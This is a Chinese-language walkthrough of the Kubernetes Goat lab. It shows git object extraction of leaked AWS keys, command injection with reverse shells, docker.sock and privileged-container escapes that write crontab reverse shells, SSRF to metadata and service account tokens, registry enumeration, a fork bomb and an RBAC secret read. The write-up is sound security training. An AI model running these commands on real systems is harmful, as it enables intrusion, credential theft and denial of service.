Kubernetes Goat
Sensitive keys in codebases
这个是git泄露,其中git里有密钥泄露
访问1230端口
扫目录
git泄露
git结构
.git/ ├─ config # 仓库配置(你刚才看的,里面有 bare 参数) ├─ logs/HEAD # 操作日志,所有commit记录(你之前看的那条长长的提交链) ├─ COMMIT_EDITMSG # 最后一次提交的备注(最开始那张图) ├─ objects/ # 核心!所有文件压缩后的二进制快照(blob、tree、commit对象) ├─ refs/ # 分支标签,记录每个分支最新commit哈希 ├─ HEAD # 标记当前在哪个分支/哪个commit └─ index # 索引清单,记录当前工作区文件和objects快照的对应关系/.git/COMMIT_EDITMSG
返回某一次代码合并主分支的改动,这里是新增了app这个文件
/.git/logs/HEAD
这里回显了git的提交日志以及对应版本hash,还有commit的备注
/.git/config
这里回显Bare=false,说明是本地开发,可以完整下载源码
githacker下载源码
找密钥
在源码里没有找到
但是我们去看提交历史记录
bb2967a6f26fb59bf64031bbb14b4f3e233944ca d7c173ad183c574109cd5c4c648ffe551755b576 Madhu Akula <madhu.akula@hotmail.com> 1604701866 +0100 commit: Inlcuded custom environmental variables这一条记录里更新了环境变量
而githacker里没有是因为他只会还原当前的工作树
d7c173ad183c574109cd5c4c648ffe551755b576,这里的d7(前两位是目录)后面的是文件名
然后这里curl http://192.168.47.128:1230/.git/objects/d7/c173ad183c574109cd5c4c648ffe551755b576 -o 123.obj 就可以获得commit对象
commit会存储tree的hash和上一个commit版本
git cat-file -p d7c173ad183c574109cd5cc4c648fffe5551755b这里获得到对应tree的hash
tree 73da70026f144ccdfc5b806998b7d58cf37c6f33 parent bb2967a6f26fb59bf64031bbb14b4f3e233944ca下载tree文件然后查看对应文件hash
git cat-file -p 73da70026f144ccdfc5b806998b7d58cf37c6f33 100644 blob b9e2b454e881360b9158698eca3456bea6c2b55b .env 100644 blob 9f1f393252fe5527bbfb0708f57ebc05a3550ffc README.md 100644 blob b3c24a996ba5f47473fe8bfa0842ca54def7807e go.mod 100644 blob 00d8b1bebf73f4feff5683d0af858884a1544b99 go.sum 100644 blob 950821141e4626ba376563897fa1780f00aa5aa0 main.go这里直接拿.env的blob的hash
重复操作
curl http://192.168.47.128:1230/.git/objects/b9/e2b454e881360b9158698eca3456bea6c2b55b -o e2b454e881360b9158698eca3456bea6c2b55b % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 168 100 168 0 0 3638 0 0拿到密钥
这里拿到的aws的id和key,也就是AKSK(这里真实环境的攻击思路就是去看IAM看有没有s3权限啊或者是别的,然后拿token去访问)
git cat-file -p b9e2b454e881360b9158698eca3456bea6c2b55b [build-code-aws] aws_access_key_id = AKIVSHD6243H22G1KIDC aws_secret_access_key = cgGn4+gDgnriogn4g+34ig4bg34g44gg4Dox7c1M k8s_goat_flag = k8s-goat-51bc78332065561b0c99280f62510bccDIND (docker-in-docker) exploitation
docker里跑容器,是CICD里很常见的操作,很多开发会了图方便,不在docker内安装docker引擎,而是直接把宿主机的docker.sock挂载到docker内,以方便创建容器,这里就会造成docker.sock逃逸。
拿dockershell
访问主页
经典命令拼接
payload用一个;隔开就行
反弹shell
1; bash -c "bash -i >& /dev/tcp/192.168.47.128/4444 0>&1" //bash-c是执行字符串指令,bash -i是启动交互式shell开监听
docker.sock逃逸
探测docker.sock
安装docker
apt update && apt install -y docker.io curl在docker里安装一个容器并挂载到宿主机根目录
docker run -d -v /:/hostfs --name escape ubuntu:latest sleep 9999写反弹shell
echo "*/1 * * * * root /bin/bash -c 'bash -c "bash -i >& /dev/tcp/192.168.47.128/4444 0>&1"'" > /hostfs/etc/crontab特权模式逃逸
这里提供了两种方式逃逸
探测发现是特权容器
cat /proc/self/status | grep CapEff然后直接挂载宿主机所有的磁盘内容到mnt上
mount /dev/sda1 /mntSSRF in the Kubernetes (K8S) world
在1232端口
打元数据
这里是k8s内域名http://metadata-db/,实战中你可以改成对应的169.254.169.254
然后这边提示是访问latest ,访问后发现有其他的目录:events,hostname,latest,profile,secret
http://metadata-db/latest/hostname模拟元数据中关于主机名的数据
http://metadata-db/latest/events/list/1用于模拟事件
http://metadata-db/latest/profile模拟的是IAM
http://metadata-db/latest/secrets/info这个模拟的是secrets的内容,在实战中,secrets通常存放敏感信息,例如数据库账密,token,密码,密钥。
info这里存储的是base64的模拟数据
然后访问http://metadata-db/latest/secrets/kubernetes-goat拿到本关卡的flag
K8s的信息探测
看namespace
namespace,就是k8s把一个大的集群分为多个虚拟的小集群,做资源隔离,他存储在docker的本地
读取namepspace
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace这里拿到的namespace是default
拿ServiceAccount JWT Token(K8s令牌)
同样在docker文件下
file:///var/run/secrets/kubernetes.io/serviceaccount/token拿CA证书
这里后端是Nodejs,需要校验CA证书,所以就没有办法进一步利用。
当然了,读一些etc/passwd,源码啥的还是可以的
Container escape to the host system
这个也是属于容器逃逸的靶场,在1233端口
进来就是一个终端
信息收集
特权模式直接挂载,秒了
cat /proc/self/status | grep CapEff挂载成功
写定时任务反弹shell
echo "* * * * * root /bin/bash -i >& /dev/tcp/192.168.4.128/8888 0>&1" >> /mnt/etc/crontab反弹成功
Attacking private registry
漏洞成因
攻击私有注册表,这个是私有镜像仓库泄露,里面存放了公司自己的 docker,真实攻防中一般开在5000端口上
/v2/_catalog这个路径就会泄露仓库里所有的镜像,如果没有鉴权就会导致所有的镜像泄露
漏洞复现
直接访问1235是空的
访问/v2的时候返回了{}
再访问0/v2/_catalog路径的时候,返回了repositories(仓库内镜像名称列表),madhuakula/k8s-goat-alpine这个前面的madhuakula代表的就是namespace(命名空间),后面的就是镜像名
这个时候如果访问/v2/madhuakula/k8s-goat-users-repo/tags/list就会返回对应的版本名,tags就是版本号,这里返回的是latest
拿到版本号以后就去访问他的latest的镜像版本分层信息
http://192.168.47.128:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest什么是镜像分层呢?写一个dockerfile本质上是一层一层堆叠的只读的tar压缩包
例如:
# FROM:拉官方nginx基础镜像,直接复用nginx已经做好的所有底层层 FROM nginx:alpine # COPY:把本机当前目录下所有网页文件,复制到nginx网页根目录 # COPY会【新增一个只读镜像层】 COPY . /usr/share/nginx/html # EXPOSE:只是标记容器开放80端口,仅元信息,不产生分层 EXPOSE 80 # CMD:容器启动命令,启动nginx,元信息,不产生分层 CMD ["nginx", "-g", "daemon off;"]他就有四层,而其中有可能会有数据库密钥,例如
ENV DB_USER=root ENV DB_PASS=Admin@123456访问以后下载下来一个latest文件
直接用IDE打开
搜api-key(这里有一点,layer只记录文件系统的变化,例如env的不会记录,所以版本hash不变)
这个apikey在真实的环境可以访问k8s的api-server然后操控docker
NodePort exposed services
漏洞成因
开发人员选错了 Service 类型:把只允许集群内部访问的内部应用info-app,用了NodePort向外暴露;同时节点没有防火墙做访问控制,应用本身也没有身份校验。(NodePort就是把每一个集群上的节点都开一个端口然后把流量路由到某一个具体的节点端口上,所以只要任一节点这个端口可访问,那么内部服务可访问)
漏洞复现
获取节点
扫描端口
直接访问
Gaining environment information
漏洞成因
k8s的相关token,ca证书都放到docker下了,可以直接读取
漏洞复现
cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt cat /var/run/secrets/kubernetes.io/serviceaccount/namespaceDoS the Memory/CPU resources
漏洞成因
Pod / 容器 yaml 清单没有配置resources.limits(CPU、内存上限),同时命名空间没有配置LimitRange做全局默认限制
漏洞复现
cat /sys/fs/cgroup/cpu.max cat /sys/fs/cgroup/memory.max如果返回max就代表没有限制可以直接打满
这里的cgroup是control group(控制组),一般用来做资源隔离/统计。
(这里的sys是内核子文件,而如果是proc就是进程文件)
打内存的几个方法
:(){ :|:& }; :这里是定义一个函数:(),函数名叫:
😐:&:
:调用自己(递归执行这个函数)|管道:把左边函数输出交给右边,再启动一份自己&放到后台运行,不阻塞、不等待子进程结束;命令分隔符,代表函数定义结束。- 最后的
:触发执行:调用这个冒号函数,炸弹启动。
或者实用stress(压测工具)
apt update && apt install stress -y stress --vm 1 --vm-bytes $(free | awk '/Mem/{print $2}')KRBAC least privileges misconfiguration
漏洞成因
原本应该设置只读webhookapikey这个secret,但是设置成可以读所有的secret,这里直接读取vaultapikey就可以直接get flag
漏洞复现
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ https://kubernetes.default.svc/api/v1/namespaces/big-monolith/secrets/vaultapikey如果直接访问/api/v1/namespaces/big-monolith/secrets就可以列出全部的secret,但是本关卡没有这个list的权限。
写在后面
在实战中一般拿到sa,token以后就会先去看自己的RBAC权限(同时看一下自己的env里有没有敏感信息)。
可以去看自己有没有secret权限,看自己namespace下的secret。
看能不能创建pod进行逃逸,或者exec到其他的容器里
看能不能读configmap,他一般有敏感信息
看pod日志,看有没有明文密码。